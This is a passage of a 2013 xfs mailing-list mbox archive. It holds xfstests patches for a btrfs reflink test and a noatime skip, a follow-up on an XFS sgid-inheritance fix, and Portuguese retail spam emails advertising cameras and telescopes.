0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] Pre=E7os e condi=E7=F5es de pagamento v=E1lidos at=E9 05/07/2013 ou enquanto durarem nossos estoques. Imagens meramente ilustrativas.*Consulte sua regi=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83873,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyP3V0bV9zb3V= yY2U9MDNfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PS= Z1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNn= aS5jb20=3D] --8826fc359da792fac81b7c2265dc9307 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =0D =0D =0D =0D

    Se você nã= o conseguir visualizar esta mensagem, acesse este link
    3D"" =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D = =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D
    3D"02" = 3D"03" 3D"05" 3D"06" 3D"07" = 3D"09" = 3D"10"
    =0D
    3D"11"
    =0D =0D =0D =0D =0D =0D =0D
    3D"Câmera=
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"" 3D""
    HDR-PJ200/BDSC-W730
    Filmadora Sony HandycamCâmera Cyber-Shot Sony
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • 2.7"
      =0D • 5.3MP
      =0D • Full HD
      =0D • Projetor Integrado =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" = 1.231 = ,12
    =C0 vista no boleto
    ou em at=E9 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D
    =0D
      = • 16.1MP
      =0D • LCD 2.7
      =0D • 27MB
      =0D • Mem=F3ria Expans=EDvel At=E9 64GB =
    =0D
    =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#"= 351 ,12=
    =C0 vista no boleto
    = ou em at=E9 = =0D
    3D""
    =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = =3D""<= /td>=0D
    DSC-WX80WSLT-A57
    Câmera Cyber-Shot SonyCâmera Digital Sony Alpha=0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • 16.2MP
      =0D • LCD 2.7\
      =0D • 8GB
      =0D • Foto 3D
      =0D
    =0D
    =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" = 615 = ,12=0D
    =C0 vista no boleto
    ou em at=E9 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" = 2.287 ,12
    =C0 vista no boleto
    ou em at=E9 12x no cart= =E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D==0D 3D""
    GC-XA1L810
    Filmadora JVCCâmera Digital Nikon Coolpix<= /a>
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • LCD 1.5"
      =0D • Wi-Fi
      =0D • Full HD
      =0D • =C0 prova d=E0gua =
    =0D
    =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" 1.055 ,12
    =C0 vista no boleto
    ou em at=E9 12x<= /font> no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • 16MP
      =0D • Zoom de 26x
      =0D • LCD 3"
      =0D • Filmagem HD =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" 659 ,12
    =C0 vista no boleto=0D
    ou em at=E9 <= font style=3D"font-size: 12pt;=0D font-weight: bold; margin:0; border: 0;">12x no cart= =E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D""
    3D"Câmera<= /a>
    3D""
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"" =
    SLT-A77DSC-WX60
    Câmera Digital Sony AlphaCâmera Cyber-Shot Sony
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • 24.3MP
      =0D • LCD 3.0"
      =0D • Full HD
      =0D • Foto Panorâmica 3D =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D"#" = 4.399 = ,12
    =C0 vista no boleto=0D
    ou em at=E9 12= x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • 16.2MP
      =0D • LCD 2.7\
      =0D • 8GB
      =0D • Foto 3D =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" = 527 = ,12=
    =C0 vista no boleto=0D
    ou em at=E9 12x no ca= rt=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"" 3D""
    BT40080EQ= 70060HD
    Telesc=F3pio Greika<= /a>Telesc=F3pio Greika
    =0D =0D =0D =0D =0D =0D =0D =0D
    = =0D
      = • Equatorial Newtoniano
      =0D • Distância Focal 400mm
      =0D • Objetiva 80mm =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D"#" = 703 = ,12=
    =C0 vista no boleto<= /td>=0D
    = ou em at=E9 = 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    = =0D
      = • Azimutal com Distância Focal de 700mm=
      =0D • Objetiva 60mm =
    =0D
    =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" 280 ,72
    =C0 vista no boleto=
    ou em at=E9= 12x no = cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    <= a target=3D"_blank" href=3D"http://trk.email.girafa.com.br/index.dma/DmaCli= ck?1636,3258,644384,83867,4bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5n= aXJhZmEuY29tLmJyL1BvcnRhLVJldHJhdG9zL1NvbnkvcG9ydGEtcmV0cmF0by1kaWdpdGFsLXN= vbnktZHBwLWY4MDAtcHJldG8tbGNkLWltcHJlc3NvcmEtZGUtZm90b3MuaHRtP3V0bV9zb3VyY2= U9MDNfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1d= G1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5= jb20=3D"> 3D""= <= a target=3D"_blank" href=3D"http://trk.email.girafa.com.br/index.dma/DmaCli= ck?1636,3258,644384,83868,4bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5n= aXJhZmEuY29tLmJyL1BvcnRhLVJldHJhdG9zL0NvYnkvcG9ydGEtcmV0cmF0by1kaWdpdGFsLWN= vYnktbXAzLXdtYS1qcGVnLWJyYW5jby1sY2QtNS5odG0/dXRtX3NvdXJjZT0wM18wN18xM19vZm= VydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZ= mVydGFfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D"> = 3D""
    DPP-F800DP356_BRANCA
    Porta Retrato Digital SonyPorta Retrato Digital Coby
    =0D =0D =0D =0D =0D
    = =0D
      = • LCD 8"
      =0D • Imprime de Fotos =
    =0D
    =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D"#" <= font style=3D"font-size: 15pt; font-weight: bold; text-decoration: none; co= lor: #f4ad13; border: 0;">615 = ,12
    =C0 vista no boleto
    ou em at=E9 =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • MP3
      =0D • WMA
      =0D • JPEG
      =0D • LCD 3,5" =
    =0D
    =0D = =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D
    =3D"#" = 183 = ,08
    <= font style=3D"font-size: 8pt; margin: 0;=0D padding: 0; border: 0; ">=C0 vista no boleto
    ou em at=E9 8x no= cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"Câmera
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"02" 3D= 3D"04" 3D"05" 3D"06" 3D"07"
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D"08" 3D"09" = 3D"10" 3D"12" = 3D"13"
    =0D
    3D"14"
    =
    = Pre=E7os e condi=E7=F5es de pagamento v=E1lidos at= =E9 05/07/2013 ou enquanto durarem nossos estoques. Imagens meramente ilust= rativas.
    =
    *Consulte sua regi=E3o
    =
    =0D =09=09=09=09=09=09=09=09=09=09=09=09

    Para garantir que nossos comunicados cheguem em sua = caixa de entrada,
    adicione o e-mail ofertadequarta@girafa.com.b= r ao seu catálogo de endereços.

    A Girafa re= speita a sua privacidade e é contra o spam na rede.
    Se=20 você não deseja mais receber nossos e-mails, cancele sua inscrição aqui.
    =0D = --8826fc359da792fac81b7c2265dc9307-- From koen.de.wit@oracle.com Wed Jul 3 08:11:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 749287F98 for ; Wed, 3 Jul 2013 08:11:52 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 46D438F8064 for ; Wed, 3 Jul 2013 06:11:49 -0700 (PDT) X-ASG-Debug-ID: 1372857104-04bdf0233eafad50001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id BlIjMExvzaclCpoo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 03 Jul 2013 06:11:44 -0700 (PDT) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r63DBhm4002134 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 3 Jul 2013 13:11:43 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r63DBgjT023109 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 3 Jul 2013 13:11:43 GMT Received: from abhmt106.oracle.com (abhmt106.oracle.com [141.146.116.58]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r63DBguG023106; Wed, 3 Jul 2013 13:11:42 GMT Received: from koen-debian.uk.oracle.com (/10.175.26.229) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 03 Jul 2013 06:11:42 -0700 From: Koen De Wit To: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Cc: Koen De Wit Subject: [PATCH v4] xfstests: btrfs/311: sparse copy between different filesystems/mountpoints Date: Wed, 3 Jul 2013 15:10:07 +0200 X-ASG-Orig-Subj: [PATCH v4] xfstests: btrfs/311: sparse copy between different filesystems/mountpoints Message-Id: <1372857007-6520-1-git-send-email-koen.de.wit@oracle.com> X-Mailer: git-send-email 1.7.2.5 X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1372857104 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135687 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Check if creating a sparse copy ("reflink") of a file on btrfs expectedly fails when it's done between different filesystems or different mount points of the same filesystem. For both situations, these actions are executed: - Copy a file with the reflink=auto option. A normal copy should be created. - Copy a file with the reflink=always option. Should result in error, no file should be created. [sandeen: mostly cosmetic changes] Signed-off-by: Koen De Wit Signed-off-by: Eric Sandeen --- Changelog: v3 -> v4: Cleaning up commit message v2 -> v3: replacing "$seqres.fll" by "$seqres.full" v1 -> v2: (sandeen) mostly cosmetic changes, renamed 301 -> 311 tests/btrfs/311 | 107 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/311.out | 15 +++++++ tests/btrfs/group | 4 ++ 3 files changed, 126 insertions(+), 0 deletions(-) create mode 100755 tests/btrfs/311 create mode 100644 tests/btrfs/311.out diff --git a/tests/btrfs/311 b/tests/btrfs/311 new file mode 100755 index 0000000..56ebd58 --- /dev/null +++ b/tests/btrfs/311 @@ -0,0 +1,107 @@ +#! /bin/bash +# FS QA Test No. 311 +# +# Check if creating a sparse copy ("reflink") of a file on btrfs +# expectedly fails when it's done between different filesystems or +# different mount points of the same filesystem. +# +# For both situations, these actions are executed: +# - Copy a file with the reflink=auto option. +# A normal copy should be created. +# - Copy a file with the reflink=always option. Should result in error, +# no file should be created. +# +#----------------------------------------------------------------------- +# Copyright (c) 2013, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + umount $SCRATCH_MNT &>/dev/null + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux + +_require_scratch +_require_cp_reflink + +SOURCE_DIR=$TEST_DIR/test-$seq +CROSS_DEV_DIR=$SCRATCH_MNT/test-$seq +# mount point & target for twice-mounted device +TEST_DIR2=$TEST_DIR/mount2 +DUAL_MOUNT_DIR=$SCRATCH_MNT/test-bis-$seq + +rm -rf $SOURCE_DIR +mkdir $SOURCE_DIR + +rm -f $seqres.full + +_scratch_mkfs +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 9000' $SOURCE_DIR/original \ + >> $seqres.full + +_filter_testdirs() +{ + _filter_test_dir | _filter_scratch +} + +_create_reflinks_to() +{ + # auto reflink, should fall back to non-reflink + rm -rf $1; mkdir $1 + echo "reflink=auto:" + cp --reflink=auto $SOURCE_DIR/original $1/copy + md5sum $SOURCE_DIR/original | _filter_testdirs + md5sum $1/copy | _filter_testdirs + + # always reflink, should fail outright + rm -rf $1; mkdir $1 + echo "reflink=always:" + cp --reflink=always $SOURCE_DIR/original $1/copyfail 2>&1 | _filter_testdirs + + # The failed target actually gets created by cp: + ls $1/copyfail | _filter_testdirs +} + +echo "test reflinks across different devices" +_scratch_mount +_create_reflinks_to $CROSS_DEV_DIR +_scratch_unmount + +echo "test reflinks across different mountpoints of same device" +mount $TEST_DEV $SCRATCH_MNT || _fail "Couldn't double-mount $TEST_DEV" +_create_reflinks_to $DUAL_MOUNT_DIR +umount $SCRATCH_MNT + +# success, all done +status=0 +exit diff --git a/tests/btrfs/311.out b/tests/btrfs/311.out new file mode 100644 index 0000000..210727b --- /dev/null +++ b/tests/btrfs/311.out @@ -0,0 +1,15 @@ +QA output created by 311 +test reflinks across different devices +reflink=auto: +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-311/original +42d69d1a6d333a7ebdf64792a555e392 SCRATCH_MNT/test-311/copy +reflink=always: +cp: failed to clone `SCRATCH_MNT/test-311/copyfail': Invalid cross-device link +SCRATCH_MNT/test-311/copyfail +test reflinks across different mountpoints of same device +reflink=auto: +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-311/original +42d69d1a6d333a7ebdf64792a555e392 SCRATCH_MNT/test-bis-311/copy +reflink=always: +cp: failed to clone `SCRATCH_MNT/test-bis-311/copyfail': Invalid cross-device link +SCRATCH_MNT/test-bis-311/copyfail diff --git a/tests/btrfs/group b/tests/btrfs/group index bc6c256..c897118 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -12,3 +12,4 @@ 308 auto quick reflink 309 auto quick reflink 310 auto quick reflink +311 auto quick reflink -- 1.7.2.5 From dsterba@suse.cz Wed Jul 3 09:00:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 70F8E7F62 for ; Wed, 3 Jul 2013 09:00:13 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3A800304089 for ; Wed, 3 Jul 2013 07:00:13 -0700 (PDT) X-ASG-Debug-ID: 1372860011-04cb6c2a41840f40001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id oDfOFX7aeDtABuQy for ; Wed, 03 Jul 2013 07:00:11 -0700 (PDT) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 505B3A50DE for ; Wed, 3 Jul 2013 16:00:11 +0200 (CEST) Received: by ds.suse.cz (Postfix, from userid 10065) id E45F1DAAFE; Wed, 3 Jul 2013 16:00:10 +0200 (CEST) From: David Sterba To: xfs@oss.sgi.com Cc: David Sterba Subject: [PATCH] xfstests: skip generic/192 if noatime is set Date: Wed, 3 Jul 2013 16:00:05 +0200 X-ASG-Orig-Subj: [PATCH] xfstests: skip generic/192 if noatime is set Message-Id: <1372860005-1016-1-git-send-email-dsterba@suse.cz> X-Mailer: git-send-email 1.8.2 X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1372860011 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135691 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words Test generic/192 fails if noatime is set generic/192 -delta1 - access time after sleep in-core: 40 -delta2 - access time after sleep on-disk: 40 +delta1 - access time after sleep in-core: 0 +delta2 - access time after sleep on-disk: 0 but it's pointless to test atime effects with noatime. Signed-off-by: David Sterba --- tests/generic/192 | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/tests/generic/192 b/tests/generic/192 index a40c121..2b4e41c 100755 --- a/tests/generic/192 +++ b/tests/generic/192 @@ -38,6 +38,13 @@ _access_time() stat --format=%X $1 } +is_noatime_set() { + case "$MOUNT_OPTIONS" in + *noatime*) return 0;; + esac + return 1 +} + # get standard environment, filters and checks . ./common/rc . ./common/filter @@ -52,6 +59,10 @@ _supported_os Linux #delay=45 delay=40 +if is_noatime_set; then + _notrun "this test makes no sense with noatime" +fi + testfile=$TEST_DIR/testfile rm -f $testfile rm -f $seqres.full -- 1.8.2 From cmaiolino@redhat.com Wed Jul 3 10:24:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6EF777CBF for ; Wed, 3 Jul 2013 10:24:25 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 423808F8033 for ; Wed, 3 Jul 2013 08:24:22 -0700 (PDT) X-ASG-Debug-ID: 1372865058-04bdf0233fb08100001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id exwBhjZGWLdstRfV for ; Wed, 03 Jul 2013 08:24:18 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r63FOG1G008746 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 3 Jul 2013 11:24:17 -0400 Received: from andromeda.usersys.redhat.com (ovpn-113-139.phx2.redhat.com [10.3.113.139]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r63FODdG019752 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Wed, 3 Jul 2013 11:24:15 -0400 Date: Wed, 3 Jul 2013 12:24:12 -0300 From: Carlos Maiolino To: xfs@oss.sgi.com Subject: Re: [PATCH] Subject: [PATCH] xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] Message-ID: <20130703152410.GH24238@andromeda.usersys.redhat.com> X-ASG-Orig-Subj: Re: [PATCH] Subject: [PATCH] xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] References: <1371836753-3327-1-git-send-email-cmaiolino@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1371836753-3327-1-git-send-email-cmaiolino@redhat.com> User-Agent: Mutt/1.5.20 (2009-12-10) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1372865058 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi, any comments on this one? On Fri, Jun 21, 2013 at 02:45:53PM -0300, Carlos Maiolino wrote: > XFS removes sgid bits of subdirectories under a directory containing a default > acl. > > When a default acl is set, it implies xfs to call xfs_setattr_nonsize() in its > code path. Such function is shared among mkdir and chmod system calls, and > does some checks unneeded by mkdir (calling inode_change_ok()). Such checks > remove sgid bit from the inode after it has been granted. > > With this patch, we extend the meaning of XFS_ATTR_NOACL flag to avoid these > checks when acls are being inherited (thanks hch). > > Also, xfs_setattr_mode, doesn't need to re-check for group id and capabilities > permissions, this only implies in another try to remove sgid bit from the > directories. Such check is already done either on inode_change_ok() or > xfs_setattr_nonsize(). > > Changelog: > > V2: Extends the meaning of XFS_ATTR_NOACL instead of wrap the tests into another > function > > V3: Remove S_ISDIR check in xfs_setattr_nonsize() from the patch > > Signed-off-by: Carlos Maiolino > --- > fs/xfs/xfs_iops.c | 20 ++++++++++---------- > 1 file changed, 10 insertions(+), 10 deletions(-) > > diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c > index ca9ecaa..2e5aca8 100644 > --- a/fs/xfs/xfs_iops.c > +++ b/fs/xfs/xfs_iops.c > @@ -467,9 +467,6 @@ xfs_setattr_mode( > ASSERT(tp); > ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > > - if (!in_group_p(inode->i_gid) && !capable(CAP_FSETID)) > - mode &= ~S_ISGID; > - > ip->i_d.di_mode &= S_IFMT; > ip->i_d.di_mode |= mode & ~S_IFMT; > > @@ -495,15 +492,18 @@ xfs_setattr_nonsize( > > trace_xfs_setattr(ip); > > - if (mp->m_flags & XFS_MOUNT_RDONLY) > - return XFS_ERROR(EROFS); > + /* If acls are being inherited, we already have this checked */ > + if (!(flags & XFS_ATTR_NOACL)) { > + if (mp->m_flags & XFS_MOUNT_RDONLY) > + return XFS_ERROR(EROFS); > > - if (XFS_FORCED_SHUTDOWN(mp)) > - return XFS_ERROR(EIO); > + if (XFS_FORCED_SHUTDOWN(mp)) > + return XFS_ERROR(EIO); > > - error = -inode_change_ok(inode, iattr); > - if (error) > - return XFS_ERROR(error); > + error = -inode_change_ok(inode, iattr); > + if (error) > + return XFS_ERROR(error); > + } > > ASSERT((mask & ATTR_SIZE) == 0); > > -- > 1.8.1.4 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Carlos From dma_1636@rp.email.girafa.com.br Wed Jul 3 11:22:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1058C7F3F for ; Wed, 3 Jul 2013 11:22:47 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6795BAC002 for ; Wed, 3 Jul 2013 09:22:42 -0700 (PDT) X-ASG-Debug-ID: 1372868554-04cb6c2a4184c990001-w1Z2WR Received: from email.girafa.com.br (email.girafa.com.br [187.61.29.201]) by cuda.sgi.com with ESMTP id gNHrBQhSYWDquvHV for ; Wed, 03 Jul 2013 09:22:35 -0700 (PDT) X-Barracuda-Envelope-From: dma_1636@rp.email.girafa.com.br X-Barracuda-Apparent-Source-IP: 187.61.29.201 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=email.girafa.com.br; h=From:To:Subject:MIME-Version:Content-Type:Reply-To:List-Unsubscribe:Message-ID:Date; bh=ACWY8qyEu+4gkzX54xXpySAXsj4=; b=xy4dLvUXwoqD7G94iQRM8LEiPh1Wo0zYl03Rz0QS2cANQ2zpK5OoYqwGZxFu4oU4c/QRKYQ7Ymry fkPo31a2rE30aolRFMgWgFya5PZJSVmbUQoWs/C0oWPQBK6tee/R3jKrQvk8/Fq7aeEmS2ENuj8P PTA/uYsiXhHX88DuzZY= Received: by email.girafa.com.br id hqh7ss0sh4s8 for ; Wed, 3 Jul 2013 13:22:34 -0300 (envelope-from ) From: "Girafa" To: "" Subject: =?ISO-8859-1?Q?Novo_Xperia_L_da_Sony,_voc=EA_encontra_aqui_no_Girafa!_Aproveite.?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?ISO-8859-1?Q?Novo_Xperia_L_da_Sony,_voc=EA_encontra_aqui_no_Girafa!_Aproveite.?= Content-Type: multipart/alternative; boundary="db922723b4aa7566891f3bdc34418c88" Reply-To: "Girafa" List-Unsubscribe: X-Hash: 